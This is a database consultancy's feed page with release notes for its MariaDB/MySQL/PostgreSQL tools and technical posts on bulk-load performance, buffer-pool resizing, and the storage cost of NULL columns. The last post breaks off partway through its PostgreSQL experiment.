Feed Aggregator on FromDual GmbH

Backup and Recovery Manager Release Notes

oli.sennhauser@fromdual.com (Oli Sennhauser) — Tue, 24 Mar 2026 10:46:00 +0100

Backup and Recovery Manager 2.3.2 Release Notes, Release Date: 10 July 2025
Backup and Recovery Manager 2.3.1 Release Notes, Release Date: 12 August 2024
Backup and Recovery Manager 2.3.0 Release Notes, Release Date: 25 June 2024
Backup and Recovery Manager 2.2.5 Release Notes, Release Date: 23 February 2022
Backup and Recovery Manager 2.2.4 Release Notes, Release Date: 26 July 2021
Backup and Recovery Manager 2.2.3 Release Notes, Release Date: 13 January 2021
Backup and Recovery Manager 2.2.2 Release Notes, Release Date: 8 October 2020
Backup and Recovery Manager 2.2.1 Release Notes, Release Date: 5 August 2019
Backup and Recovery Manager 2.2.0 Release Notes, Release Date: 25 July 2019
Backup and Recovery Manager 2.1.0 Release Notes, Release Date: 22 February 2019
Backup and Recovery Manager 2.0.0 Release Notes, Release Date: 27 June 2018
Backup and Recovery Manager 1.2.5 Release Notes, Release Date: 1 May 2017
Backup and Recovery Manager 1.2.4 Release Notes, Release Date: 12 January 2017
Backup and Recovery Manager 1.2.3 Release Notes, Release Date: 1 October 2016
Backup and Recovery Manager 1.2.2 Release Notes, Release Date: 29 May 2015
Backup and Recovery Manager 1.2.1 Release Notes, Release Date: 18 January 2015
Backup and Recovery Manager 1.2.0, Release Date: 24 September 2014
Backup and Recovery Manager 1.1.1, Release Date: 4 September 2014
Backup and Recovery Manager 1.1.0, Release Date: 11 August 2014
Backup and Recovery Manager 1.0.4, Release Date: 15 April 2014
Backup and Recovery Manager 1.0.3, Release Date: 3 April 2014
Backup and Recovery Manager 1.0.2, Release Date: 10 December 2013
Backup and Recovery Manager 1.0.1, Release Date: 4 November 2013
Backup and Recovery Manager 1.0, Release Date: 30 September 2013
Backup and Recovery Manager 0.4, Release Date: 30 March 2011
Backup and Recovery Manager 0.3.6, Release Date: 23 January 2011
Backup and Recovery Manager 0.3.5, Release Date: 22 January 2011
Backup and Recovery Manager 0.3.4, Release Date: 21 November 2010
Backup and Recovery Manager 0.3.3, Release Date: 21 November 2010
Backup and Recovery Manager 0.3.2, Release Date: 14 November 2010
Backup and Recovery Manager 0.3.1, Release Date: 14 November 2010
Backup and Recovery Manager 0.3, Release Date: 13 November 2010
Backup and Recovery Manager 0.2.7, Release Date: 12 August 2010
Backup and Recovery Manager 0.2.6, Release Date: 12 August 2010
Backup and Recovery Manager 0.2.5, Release Date: 12 August 2010
Backup and Recovery Manager 0.2.4, Release Date: 12 August 2010
Backup and Recovery Manager 0.2.3, Release Date: 19 January 2010
Backup and Recovery Manager 0.2.2, Release Date: 7 January 2010
Backup and Recovery Manager 0.2.1, Release Date: 31 December 2009
Backup and Recovery Manager 0.2, Release Date: 24 December 2009
Backup and Recovery Manager 0.1.1, Release Date: 18 July 2008
Backup and Recovery Manager 0.1, Release Date: 18 July 2008

MariaDB/MySQL Environment MyEnv 3.0.0 has been released

oli.sennhauser@fromdual.com (Oli Sennhauser) — Mon, 23 Mar 2026 17:42:00 +0100

FromDual has the pleasure to announce the release of the new version 3.0.0 of its popular MariaDB, MySQL and PostgreSQL multi-instance environment MyEnv.

The new MyEnv can be downloaded here. How to install MyEnv is described in the MyEnv Installation Guide.

In the inconceivable case that you find a bug in the MyEnv please report it to us by sending an email.

Any feedback, statements and testimonials are welcome as well! Please send them to us.

Upgrade from 2.x to 3.0

Please check the MyEnv Installation Guide.

Changes in MyEnv 3.0.0

MyEnv

Template warning improved.
Distro version in --version added.
Check MyEnv configuration permissions.
#fd increased for MyEnv.
myenv.conf should have more secure permissions now.
Situation caught when my.cnf is missing in myenv.conf.
Directories home and run moved to dba and myenv.
Unit file mariadb.service and mysql.service replaced by dba.service.
User mysql replaced by dba in template.
start_stop fixed warning in case argv[1] is missing.
sys_uid filter fixed for Rocky Linux.
dba unit file added to package.
Nagios plugins detection removed from showMyEnvVersion.
Old SysV init files removed and replaced by Systemd unit files.
dba user was introduced and check for system user added.
User dba changed an cosmetic fixes.

MyEnv Installer

2 concurrent installMyEnv versions cannot run any more.
Directroy binlog, cgroups and angel removed from postgresql type installation.
Wrapper script installMyEnv.sh removed.
Cosmetics fixed in installer.
Installation made more mysql friendly.
libaio1t64 considered during installation recommendations on DEB systems.
Next free port suggestion during installMyEnv improved. It will suggest the first free port now.
apt-get and yum replaced by apt and dnf.

MyEnv Utilities

insert_test.sh made PostgreSQL ready.

PostgreSQL

PostgreSQL instance is stopped with fast instead of immediate now.
show_create_table.sh for PostgreSQL made nicer.
PostgreSQL status.sql added.
Minor fixes for PostgreSQL.

General

CHANGELOG updated.
rc made unique.
Minor bugs fixed.
Copyright year updated from 2024 to 2026.
mkdir changed from /bin to /usr/bin which is the new/right standard on all our 3 supported distributions.

Documentation

README updated.
Installation documentation improved, library related stuff documented.
PostgreSQL added to documentation.
lsb_release removed from documentation.
Documentation restructured.
Documentation made more resilient agaist errors.
Documentation process improved.
Documentation moved completely to asciidoc.

Packaging

Package list completed.
Makefile fixed.
Old distro stuff and initV stuff removed.
Build scripts fixed.

For subscriptions of commercial use of MyEnv please get in contact with us.

FromDual Performance Monitor 2.2.1 has been released

oli.sennhauser@fromdual.com (Oli Sennhauser) — Thu, 19 Feb 2026 18:18:00 +0100

FromDual has the pleasure to announce the release of the new version 2.2.1 of its popular Database Performance Monitor for MariaDB, Galera Cluster, MySQL and PostgreSQL fpmmm.

The FromDual Performance Monitor enables Database and System Administrators to monitor and understand what is going on inside their databases and on the machines where the databases reside.

More information you can find here: FromDual Performance Monitor.

Download

The new FromDual Performance Monitor can be downloaded from our Sofware Download page or you can use our repositories. How to install and use the FromDual Performance Monitor is documented in the Documentation.

In the inconceivable case that you find a bug in the FromDual Performance Monitor please report it to us by sending an email.

Any feedback, statements and testimonials are welcome as well! Please send them to us.

Monitoring as a Service (MaaS)

You do not want to set-up your database monitoring yourself? No problem: Choose our Monitoring as a Service (MaaS) to safe time and costs!

Installation of Performance Monitor 2.2.1

How to install the FromDual Performance Monitor you can find in the Installation Guide.

Upgrade of fpmmm tar ball from 1.x to 2.2.1

There are some changes in the configuration file (fpmmm.conf):

The access rights should be change as follows: chmod 600 /etc/fpmmm.conf
The key Methode was spelled wrong in the configuration file. It was renamed to Method.
The key PidFile is ambiguous which could lead to problems and bugs. Thus it was changed to either MyPidFile for fpmmm and DbPidFile for the database.

Upgrade with DEB/RPM packages should happen automatically. For tar balls follow this instruction:

$ cd /opt
$ tar xf /download/fpmmm-2.2.1.tar.gz
$ rm -f fpmmm
$ ln -s fpmmm-2.2.1 fpmmm

Changes in FromDual Performance Monitor 2.2.1

These release notes include both the changes that came with version 2.2.0 and version 2.2.1.

This release contains new features and various bug fixes.

You can verify your current FromDual Performance Monitor version with the following command:

$ /opt/fpmmm/bin/fpmmm --version

General

Updated to latest myEnv library.
PHP 8.5 incompatibilities fixed.
Typos fixed.
Error messages improved.
Function real_connect warnings send to console are suppressed now.
Connection problems timeout reduced so in case of troubles we should see more and earlier…
Other cosmetic errors and debugging information fixed.
Data are gathered and set to zero even thought database is not reachable.
Indention of logged messages fixed.
Function exit is logged now as well.
SSL connection handling added.
Fix of error: array_sum(): Addition is not supported on type string in warning after upgrade to Ubuntu 24.04/PHP 8.3.
Error log parsing had problems with huge error logs. Now we have added a size barrier.
Function getDistributions updated/cleaned-up.
Command lsb_release removed.
Documentation added.
Nagios: Tests fixed for MariaDB 11.8.

Templates

Server: Available I/O system information added to each I/O system on top, pages named.
InnoDB: Pages named, row write operations graph added.
MySQL: Some graphs and query dashboard made nicer.

Agent

none

Server

Items FromDual.MySQL.server.disk.avg_io_read_wait and FromDual.MySQL.server.disk.avg_io_write_wait removed because they are showing completely wrong values. Use FromDual.MySQL.server.disk.r_await and FromDual.MySQL.server.disk.w_await instead.
Workaround for missing cpuinfo old cachefile implemented.

Galera

Old style variable fixed which causes problems with newer version.
Default values on database stop added.
Workaround for cut wsrep_provider_options bug in MySQL Galera Cluster added.

InnoDB

Variable innodb_log_file_size made consistent for MariaDB and MySQL.
Deprecated and removed variable innodb_log_files_in_group removed.
Fix for innodb_log_file_size in MySQL 9.4.
Log occupancy graph added and graph added to dashboard.
Variable tx_isolation replaced by transaction isolation which is deprecated in MariaDB 11.2 and MySQL 5.7.

MySQL

Variable vendor_versions_behind special case caught.
Connection charset changed from utf8 to utf8mb4 due to errors in MariaDB 11.8.
Template pages named.

Process

none

Security

Module improved for new behaviour in MariaDB 11.8.

Master

Wrong version check for master fixed.

Slave

Slave lagging problem fixed.
Wrong version check for slave fixed.
MySQL 8.4 commands added for replication monitoring.

Backup

none

PostgreSQL

Rudimentary PostgreSQL monitoring added.

Packaging

RHEL 8 added again.
RPM spec adapted for RHEL 10.
SNMP library updated.
Debian 10 and RHEL 7 removed.
DEB sign stuff added.

For subscriptions of commercial use of fpmmm please get in contact with us.

What is the quickest way to load data into the database?

oli.sennhauser@fromdual.com (Oli Sennhauser) — Wed, 11 Feb 2026 10:04:00 +0100

We had some really exciting problems to solve for the last customer! Especially because the database wasn’t exactly small.

Here are some key data: CPU: 2 sockets x 24 cores x 2 threads = 96 vCores, 756 G RAM, 2 x 10 Tbyte PCIe SSD in RAID-10 and 7 Tbyte data, several thousand clients, rapidly growing.

The current throughput: 1 M SELECT/min, 56 k INSERT/min, 44 k UPDATE/min, 7 k DELETE/min averaged over 30 days. With a strong upward trend. Application and queries not consistently optimised. Database configuration: ‘state of the art’ not verified with benchmarks. CPU utilisation approx. 50% on average, more at peak times. I/O system still has available resources.

The customer collects position and other device data and stores it in the database. In other words, a classic IoT problem (with time series, index clustered table, etc.).

The question he has asked is: What is the fastest way to copy data from one table (pending data, a kind of queue) to another table (final data, per client)?

The data flow looks something like this:

+------------+
| IoT Device |--+
+------------+ \
 \ +-----+
+------------+ \ | AS | +--------------+ Processing +------------+
| IoT Device |------+-->| |-->| Pending data |------------->| Final data |
+------------+ / | 400 | +--------------+ of data +------------+
 / +-----+
+------------+ /
| IoT Device |--+
+------------+

3 different variants to copy the data were available for selection.

Variant 1: `INSERT` and `DELETE` (simplest form)

The simplest variant is a simple INSERT and DELETE. This variant is particularly problematic because MariaDB/MySQL and PostgreSQL have AUTOCOMMIT enabled by default (here, here, here and here).

To help you visualise this a little better, here is some pseudocode:

// 20k rows
for (i = 1; i <= 2000; i++) {

 SELECT * FROM pending LIMIT 10;
 foreach ( row ) {
 INSERT INTO final;
 -- implicit COMMIT
 DELETE FROM pending WHERE id = row[id];
 -- implicit COMMIT
 }
}

So if we want to copy 20 k rows, this variant causes: 40 k COMMITs (fsync) and 42 k network round trips!

Variant 2: `START TRANSACTION` and `INSERT` ad `DELETE`

This variant is used by more experienced database developers. Here is the corresponding pseudocode:

// 20k rows
for (i = 1; i <= 2000; i++) {

 SELECT * FROM pending LIMIT 10;
 START TRANSACTION;
 foreach ( row ) {
 INSERT INTO final;
 DELETE FROM pending WHERE id = row[id];
 }
 COMMIT;
}

If we want to copy 20 k rows in this example, this variant only causes 2 k COMMITs (fsync)! So 20 times less! But 46 k network round trips (10% more).

Variant 3: `START TRANSACTION` and optimised `INSERT` and `DELETE`

This variant is a little more demanding in terms of programming. It is used if you want to get a little closer to the limits of what is possible. Here is the pseudo code:

// 20k rows
for (i = 1; i <= 2000; i++) {

 SELECT * FROM pending LIMIT 10;
 START TRANSACTION;
 INSERT INTO final (), (), (), (), (), (), (), (), (), ();
 DELETE FROM pending WHERE id = IN (...);
 COMMIT;
}

And this 3rd variant also only causes 2 k COMMIT’s (fsync) with 20 k rows, but saves the loop via the INSERT and DELETE statements in the database. So on the one hand we save network round trips (only 10 k) and CPU cycles on the database (which are difficult to scale) for parsing the queries.

Test set-up

To test the whole thing, we have prepared a small script: load_data.php

Preparation and execution with MariaDB/MySQL

You can execute these tests yourself with the following commands:

SQL> CREATE DATABASE test;
SQL> CREATE USER 'app'@'127.0.0.1' IDENTIFIED BY 'secret';
SQL> GRANT ALL ON *.* TO 'app'@'127.0.0.1';

$ ./load_data.php --database-type=mysql --database=test --host=127.0.0.1 --port=3306 --user=app --password=secret --prepare

$ for i in $(seq 5) ; do
 ./load_data.php --database-type=mysql --database=test --host=127.0.0.1 --port=3306 --user=app --password=secret --run --variant=1
 ./load_data.php --database-type=mysql --database=test --host=127.0.0.1 --port=3306 --user=app --password=secret --run --variant=2
 ./load_data.php --database-type=mysql --database=test --host=127.0.0.1 --port=3306 --user=app --password=secret --run --variant=3
done

$ ./load_data.php --database-type=mysql --database=test --host=127.0.0.1 --port=3306 --user=app --password=secret --clean-up

Everyone can work out the measured values themselves with the corresponding test script.

Preparation and execution with PostgreSQL

You can execute these tests yourself with the following commands:

postgres# CREATE DATABASE test;
postgres# CREATE USER app PASSWORD 'secret';
postgres# GRANT ALL ON DATABASE test TO app;
postgres# GRANT ALL ON SCHEMA public TO app;

$ ./load_data.php --database-type=postgresql --database=test --host=127.0.0.1 --port=5432 --user=app --password=secret --prepare

$ for i in $(seq 5) ; do
 ./load_data.php --database-type=postgresql --database=test --host=127.0.0.1 --port=5432 --user=app --password=secret --run --variant=1
 ./load_data.php --database-type=postgresql --database=test --host=127.0.0.1 --port=5432 --user=app --password=secret --run --variant=2
 ./load_data.php --database-type=postgresql --database=test --host=127.0.0.1 --port=5432 --user=app --password=secret --run --variant=3
done

$ ./load_data.php --database-type=postgresql --database=test --host=127.0.0.1 --port=5432 --user=app --password=secret --clean-up

Anyone can work out the measured values themselves with the corresponding test script.

Results

To avoid unnecessary discussions, we have ‘only’ listed the relative performance (runtime) here, as MarkC has been doing recently. We are happy to provide our measured values bilaterally. However, they can be easily reproduced with the test script itself.

Less is better:

	Variant 1	Variant 2	Variant 3
MariaDB 11.8, avg(5)	100.0%	7.5%	6.2%
PostgreSQL 19dev, avg(5)	100.0%	11.2%	7.0%

Attention: The values of MariaDB/MySQL and PostgreSQL can NOT be compared directly!

And here is the graphical evaluation:

Remarks

With faster discs, the difference between 1 and 2/3 would probably not have been quite so significant. Customer tests have shown a difference of ‘only’ about a factor of 5 (instead of a factor of 9 to 16).

There are certainly other ways in which this loading process can be optimised. Here are a few that come to mind:

INSERT INTO ... SELECT * FROM
LOAD DATA INFILE/COPY, if possible
Prepared statements
Server side Stored Language (SQL/PSM, PL/pgSQL, …) :-(
PDO-Fetch of the results?
etc.

Maybe I should look for a profiler (Xdebug or xhprof)?

Further contributions

This page was translated using deepl.com.

Marko Mäkelä mentioned you on MDEV-38779

oli.sennhauser@fromdual.com (Oli Sennhauser) — Wed, 11 Feb 2026 08:37:00 +0100

[~oli], thank you for your report. There already was an existing report MDEV-38671 about mostly the same, namely that the {{innodb_buffer_pool_size}} cannot be increased anymore when MariaDB Server has been started with the default settings.

I have updated MDEV-38671 with some more explanation why this change was made and why the parameter {{innodb_buffer_pool_size_max}} was introduced. My biggest motivation to implement this were the crash MDEV-35485, which we constantly hit in our internal stress testing, and the need to make MDEV-24670 behave in a meaningful and predictable way, that is, actually release memory to the operating system in the event of a memory pressure event. By default, that new 10.11 feature is disabled by default, but it can be enabled by {{SET GLOBAL innodb_buffer_pool_size_auto_min}}.

MariaDB has broken the concept of dynamically configurable buffer pools!

oli.sennhauser@fromdual.com (Oli Sennhauser) — Mon, 09 Feb 2026 19:14:00 +0100

Problem description

MySQL introduced the dynamically configurable InnoDB buffer pool with 5.7.5 in September 2014 (here and here):

The innodb_buffer_pool_size configuration option can be set dynamically using a SET statement, allowing you to resize the buffer pool without restarting the server. For example:

mysql> SET GLOBAL innodb_buffer_pool_size=402653184;

MariaDB 10.2.2 adopted this feature in September 2016 (source):

InnoDB was merged from MySQL-5.7.14 (XtraDB is disabled in MariaDB-10.2.2 pending a similar merge)

The problematic thing is, on the one hand, that this feature now no longer works as it did before and no longer works as expected. On the other hand, they changed the behaviour in spring 2025 within a major release series (LTS), which in my opinion is an absolute no-go (source):

From MariaDB 10.11.12 / 11.4.6 / 11.8.2, there are significant changes to the InnoDB buffer pool behavior.

And what is more, the description of this is quite poor (source):

decreasing innodb_buffer_pool_size at runtime does not release memory (MDEV-32339)

reorganise innodb buffer pool (and remove buffer pool chunks) (MDEV-29445)

The Linux memory pressure interface, which could previously not be disabled and could cause performance anomalies, was rewritten and is disabled by default. (MDEV-34863)

Server crashes when resizing default innodb buffer pool after setting innodb-buffer-pool-chunk-size to 1M (MDEV-34677)

In the corresponding worklog (MDEV-36197) MarkoM also describes a different behaviour:

innodb_buffer_pool_size_auto_max (my proposal for this task) would set the maximum for the automation (default: 0 to disable the logic).

which would have made much more sense in my opinion.

How did it work before?

How did it work in the past with MariaDB and still today with MySQL:

SQL> SHOW GLOBAL VARIABLES LIKE 'innodb_buffer_pool%size';
+-------------------------------+-----------+
| Variable_name | Value |
+-------------------------------+-----------+
| innodb_buffer_pool_chunk_size | 2097152 |
| innodb_buffer_pool_size | 134217728 |
+-------------------------------+-----------+

SQL> SET GLOBAL innodb_buffer_pool_size = @@innodb_buffer_pool_chunk_size * 128;

SQL> SHOW GLOBAL VARIABLES LIKE 'innodb_buffer_pool%size';
+-------------------------------+-----------+
| Variable_name | Value |
+-------------------------------+-----------+
| innodb_buffer_pool_chunk_size | 2097152 |
| innodb_buffer_pool_size | 268435456 |
+-------------------------------+-----------+

Thus everything OK. Works as expected and as usual.

What does MariaDB do today?

What happens today with MariaDB:

SQL> SHOW GLOBAL VARIABLES LIKE 'innodb_buffer_pool%size%';
+----------------------------------+-----------+
| Variable_name | Value |
+----------------------------------+-----------+
| innodb_buffer_pool_chunk_size | 0 |
| innodb_buffer_pool_size | 134217728 |
| innodb_buffer_pool_size_auto_min | 134217728 |
| innodb_buffer_pool_size_max | 134217728 |
+----------------------------------+-----------+

SQL> SET GLOBAL innodb_buffer_pool_size = 256*1024*1024;
Query OK, 0 rows affected, 1 warning (0.000 sec)

SQL> show warnings;
+---------+------+----------------------------------------------------------------+
| Level | Code | Message |
+---------+------+----------------------------------------------------------------+
| Warning | 1292 | Truncated incorrect innodb_buffer_pool_size value: '268435456' |
+---------+------+----------------------------------------------------------------+

SQL> SHOW GLOBAL VARIABLES LIKE 'innodb_buffer_pool%size%';
+----------------------------------+-----------+
| Variable_name | Value |
+----------------------------------+-----------+
| innodb_buffer_pool_chunk_size | 0 |
| innodb_buffer_pool_size | 134217728 |
| innodb_buffer_pool_size_auto_min | 134217728 |
| innodb_buffer_pool_size_max | 134217728 |
+----------------------------------+-----------+

So nothing at all! Not even an error, just a warning. And if I do not look closely, I do not even realise that something did not work.

The MariaDB error log says:

[Note] InnoDB: Memory pressure event disregarded; innodb_buffer_pool_size=128m, innodb_buffer_pool_size_auto_min=128m

If you then do some searching, you find out that something has changed here: Buffer Pool Changes and try intuitively:

SQL> SET GLOBAL innodb_buffer_pool_size_max = 256*1024*1024;
ERROR 1238 (HY000): Variable 'innodb_buffer_pool_size_max' is a read only variable

But that does not work either.

This means you have to restart the database! And possibly at the very moment when you do not actually want to restart the database and need this feature…

The documentation also states ((source):

Default Value: specified by the initial value of innodb_buffer_pool_size, rounded up to the block size of that variable. See the section about buffer pool changes in MariaDB 10.11.12, 11.4.6, and 11.8.2.

and (source):

If innodb_buffer_pool_size_max is 0 or not specified, it defaults to the innodb_buffer_pool_size value.

This means that I have to think again beforehand about how big I should make innodb_buffer_pool_size_max and can only correct it afterwards during operation, should I have forgotten or misjudged it.

In my opinion, this is a complete step backwards from an operational point of view. This is probably another implementation for some cloud-only as a service solution (enterprise?).

My suggestion is: Either, as suggested in the MDEV: 0 should switch off this feature and the behaviour should be as before or the default value should be set to 75% of the RAM size, as innodb_dedicated_server does with MySQL.

I had the audacity to open a bug here: New InnoDB Buffer Pool autosize feature not so optimal implemented.

FedericoR has thankfully recommended the following link: Issues with new buffer pool configuration in MariaDB Minors (10.11.12/13/14, 11.4.6/7/8, 11.8.2/3). I do not seem to be the only one who was annoyed by this change…

How does PostgreSQL do this?

PostgreSQL is currently not (yet) able to change shared_buffers dynamically. The default is usually 128M. The rule of thumb here, similar to MyISAM, is 25 - 40% of RAM. The lack of this feature is probably not as serious with PostgreSQL, however, as PostgreSQL relies heavily on the file system cache, similar to MyISAM.

Source: Resource Consumption

This page was translated using deepl.com.

How much space does NULL need?

oli.sennhauser@fromdual.com (Oli Sennhauser) — Sun, 08 Feb 2026 16:15:00 +0100

The last time I consulted a customer, he came up to me beaming with joy and said that he had taken my advice and changed all the primary key columns from BIGINT (8 bytes) to INT (4 bytes) and that had made a big difference! His MySQL 8.4 database is now 750 Gbyte smaller (from 5.5 Tbyte). Nice!

And yes, I know that contradicts the recommendations of some of my PostgreSQL colleagues (here and here). In the MySQL world, more emphasis is placed on such things (source):

Use the most efficient (smallest) data types possible. MySQL has many specialized types that save disk space and memory. For example, use the smaller integer types if possible to get smaller tables

Also, InnoDB works a wee bit differently (index clustered table and primary key in all secondary keys) than PostgreSQL (heap table, indices with row pointer (ctid)).

But that’s not really the issue. Immediately afterwards, he asked me whether the deletion of columns of type DOUBLE (8 bytes, in PostgreSQL-speak DOUBLE PRECISION) would also save space or whether he should rather drop the columns straight away. My first reflex response to DOUBLE was: NULL is good, followed by OPTIMIZE TABLE (VACUUM FULL in PostgreSQL parlance). But the second thought was, DOUBLE is a data type of fixed length, does NULL also apply there or only for data types with variable length? Caution is the mother of the porcelain box! Love to consult the manual first…

And there it says (source):

Declare columns to be NOT NULL if possible. It makes SQL operations faster, by enabling better use of indexes and eliminating overhead for testing whether each value is NULL. You also save some storage space, one bit per column. If you really need NULL values in your tables, use them. Just avoid the default setting that allows NULL values in every column.

and (source):

The variable-length part of the record header contains a bit vector for indicating NULL columns. … Columns that are NULL do not occupy space other than the bit in this vector. The variable-length part of the header also contains the lengths of variable-length columns. Each length takes one or two bytes, depending on the maximum length of the column. If all columns in the index are NOT NULL and have a fixed length, the record header has no variable-length part.

Experiment with MariaDB/MySQL

Test setup

Somehow the description is a bit too complicated for me. Perhaps a small sketch would help? So let’s give it a try:

SQL> -- DROP TABLE IF EXISTS tracking;

SQL> CREATE TABLE tracking (
 id INT UNSIGNED NOT NULL PRIMARY KEY AUTO_INCREMENT
, d0 DOUBLE, d1 DOUBLE, d2 DOUBLE, d3 DOUBLE, d4 DOUBLE
, d5 DOUBLE, d6 DOUBLE, d7 DOUBLE, d8 DOUBLE, d9 DOUBLE
);

SQL> INSERT INTO tracking SELECT NULL, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0;
SQL> INSERT INTO tracking SELECT NULL, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0 FROM tracking;
... bis 16 M rows

The table is approx. 1.8 Gbyte in size for both MariaDB and MySQL with 16 M rows. Since this information is only given very imprecisely in INFORMATION_SCHEMA, let’s take a look at the file system:

MariaDB 11.8:

SQL> system ls -l tracking.ibd
-rw-rw---- 1 mysql mysql 1206 Feb 7 10:28 tracking.frm
-rw-rw---- 1 mysql mysql 1933574144 Feb 7 10:32 tracking.ibd

MySQL 8.4:

SQL> system ls -l tracking.ibd
-rw-r----- 1 mysql mysql 1929379840 Feb 7 10:33 tracking.ibd

Defragment the table

Then we ‘defragment’ the table with the OPTIMIZE TABLE command:

SQL> OPTIMIZE TABLE tracking;
+---------------+----------+----------+-------------------------------------------------------------------+
| Table | Op | Msg_type | Msg_text |
+---------------+----------+----------+-------------------------------------------------------------------+
| test.tracking | optimize | note | Table does not support optimize, doing recreate + analyze instead |
| test.tracking | optimize | status | OK |
+---------------+----------+----------+-------------------------------------------------------------------+

Attention: The table is copied once! It therefore needs twice the amount of disc space for a short time! This can be observed while the OPTIMIZE TABLE command is running:

MariaDB:

$ watch -d -n 1 'ls -l trac* \#*'
-rw-rw---- 1 mysql mysql 1206 Feb 7 10:39 '#sql-alter-d57-8c.frm'
-rw-rw---- 1 mysql mysql 968884224 Feb 7 10:39 '#sql-alter-d57-8c.ibd'
-rw-rw---- 1 mysql mysql 1206 Feb 7 10:28 tracking.frm
-rw-rw---- 1 mysql mysql 1933574144 Feb 7 10:32 tracking.ibd

MySQL:

$ watch -d -n 1 'ls -l trac* \#*'
-rw-r----- 1 mysql mysql 369098752 Feb 7 10:40 #sql-ib1594-4164062678.ibd
-rw-r----- 1 mysql mysql 1929379840 Feb 7 10:33 tracking.ibd

The result is amazing! With MariaDB, the table has remained somewhat the same size:

-rw-rw---- 1 mysql mysql 1206 Feb 7 10:39 tracking.frm
-rw-rw---- 1 mysql mysql 1912602624 Feb 7 10:39 tracking.ibd

With MySQL, on the other hand, the table has actually grown after the ‘defragmentation’, namely by approx. 14%:

-rw-r----- 1 mysql mysql 2197815296 Feb 7 10:41 tracking.ibd

If we execute the OPTIMIZE TABLE command again, the size remains constant for both MariaDB and MySQL:

MariaDB:

-rw-rw---- 1 mysql mysql 1206 Feb 7 10:46 tracking.frm
-rw-rw---- 1 mysql mysql 1912602624 Feb 7 10:48 tracking.ibd

MySQL:

-rw-r----- 1 mysql mysql 2197815296 Feb 7 10:48 tracking.ibd

Attempt 1: `NULL` out

Now we NULL out the values:

SQL> UPDATE tracking
SET d0 = NULL, d1 = NULL, d2 = NULL, d3 = NULL, d4 = NULL
 , d5 = NULL, d6 = NULL, d7 = NULL, d8 = NULL, d9 = NULL
;

After this step, the sizes of the files have even grown slightly:

MariaDB (+1.3%):

-rw-rw---- 1 mysql mysql 1206 Feb 7 10:49 tracking.frm
-rw-rw---- 1 mysql mysql 1937768448 Feb 7 11:04 tracking.ibd

MySQL (+0.2%):

-rw-r----- 1 mysql mysql 2202009600 Feb 7 11:04 tracking.ibd

We then defragment the table again with the OPTIMIZE TABLE command. The tables shrink as expected.

MariaDB (to 23%):

-rw-rw---- 1 mysql mysql 1206 Feb 7 11:09 tracking.frm
-rw-rw---- 1 mysql mysql 448790528 Feb 7 11:10 tracking.ibd

MySQL (to 24%):

-rw-r----- 1 mysql mysql 520093696 Feb 7 11:10 tracking.ibd

OPTIMIZE TABLE again does NOT change the file size any more…

Attempt 2: Deleting the columns

Now we try the whole thing again with the DROP COLUMN command. The starting position is again the same as described above:

MariaDB:

-rw-rw---- 1 mysql mysql 1206 Feb 7 11:15 tracking.frm
-rw-rw---- 1 mysql mysql 1933574144 Feb 7 11:18 tracking.ibd

MySQL:

-rw-r----- 1 mysql mysql 1929379840 Feb 7 11:19 tracking.ibd

After the OPTIMIZE TABLE command, the values look similar to the first attempt:

MariaDB:

-rw-rw---- 1 mysql mysql 1206 Feb 7 11:20 tracking.frm
-rw-rw---- 1 mysql mysql 1912602624 Feb 7 11:21 tracking.ibd

MySQL:

-rw-r----- 1 mysql mysql 2197815296 Feb 7 11:21 tracking.ibd

OPTIMIZE TABLE again also brings no further changes, as above:

MariaDB:

-rw-rw---- 1 mysql mysql 1206 Feb 7 11:22 tracking.frm
-rw-rw---- 1 mysql mysql 1912602624 Feb 7 11:23 tracking.ibd

MySQL:

-rw-r----- 1 mysql mysql 2197815296 Feb 7 11:24 tracking.ibd

And now the actual second attempt with dropping the columns:

SQL> ALTER TABLE tracking
 DROP COLUMN d0, DROP COLUMN d1, DROP COLUMN d2, DROP COLUMN d3, DROP COLUMN d4
, DROP COLUMN d5, DROP COLUMN d6, DROP COLUMN d7, DROP COLUMN d8, DROP COLUMN d9
;

The first thing we notice is that the command is INSTANTANEOUS, i.e. it does not make any changes to the data but only changes the metadata. On the one hand, this is good, as it minimises the impact on the application. On the other hand, it also means that no space is saved.

So let’s get to grips with the whole thing again with the OPTIMIZE TABLE command:

MariaDB (to 93%):

-rw-rw---- 1 mysql mysql 925 Feb 7 11:28 tracking.frm
-rw-rw---- 1 mysql mysql 415236096 Feb 7 11:29 tracking.ibd

MySQL (to 92%):

-rw-r----- 1 mysql mysql 478150656 Feb 7 11:28 tracking.ibd

Conclusion

Both, dropping the columns and the NULL out of columns save a significant amount of space. Dropping the columns saves about 7% more space than NULL them out. If it is possible from an application point of view, you should therefore drop columns that are no longer required, or if not possible, at least NULL them out.

Experiment with PostgreSQL

And now let’s take a look at the whole thing with PostgreSQL 19devel.

Test setup

The test setup is analogous to MariaDB/MySQL:

postgres=# -- DROP TABLE IF EXISTS tracking;

postgres=# CREATE TABLE tracking (
 id SERIAL PRIMARY KEY
, d0 DOUBLE PRECISION, d1 DOUBLE PRECISION, d2 DOUBLE PRECISION, d3 DOUBLE PRECISION, d4 DOUBLE PRECISION
, d5 DOUBLE PRECISION, d6 DOUBLE PRECISION, d7 DOUBLE PRECISION, d8 DOUBLE PRECISION, d9 DOUBLE PRECISION
);

postgres=# \timing

postgres=# INSERT INTO tracking (d0, d1, d2, d3, d4, d5, d6, d7, d8, d9)
 SELECT 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0;
postgres=# INSERT INTO tracking (d0, d1, d2, d3, d4, d5, d6, d7, d8, d9)
 SELECT 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0 FROM tracking;
... bis 16 M rows

Firstly, we want to know how big the table has actually become. PostgreSQL seems to know this information very precisely:

postgres=# SELECT pg_relation_size('tracking') AS tab_siz
 , pg_size_pretty(pg_relation_size('tracking')) AS tab_siz_prtty
 , pg_indexes_size('tracking') AS idx_siz
 , pg_size_pretty(pg_indexes_size('tracking')) AS idx_siz_prtty
 , pg_relation_size('tracking') + pg_indexes_size('tracking') AS tab_and_idx_siz
 , pg_size_pretty(pg_relation_size('tracking') + pg_indexes_size('tracking')) AS tab_and_idx_siz_prtty
 , pg_total_relation_size('tracking') AS tot_rel_siz
 , pg_size_pretty(pg_total_relation_size('tracking')) AS tot_rel_siz_prtty
;
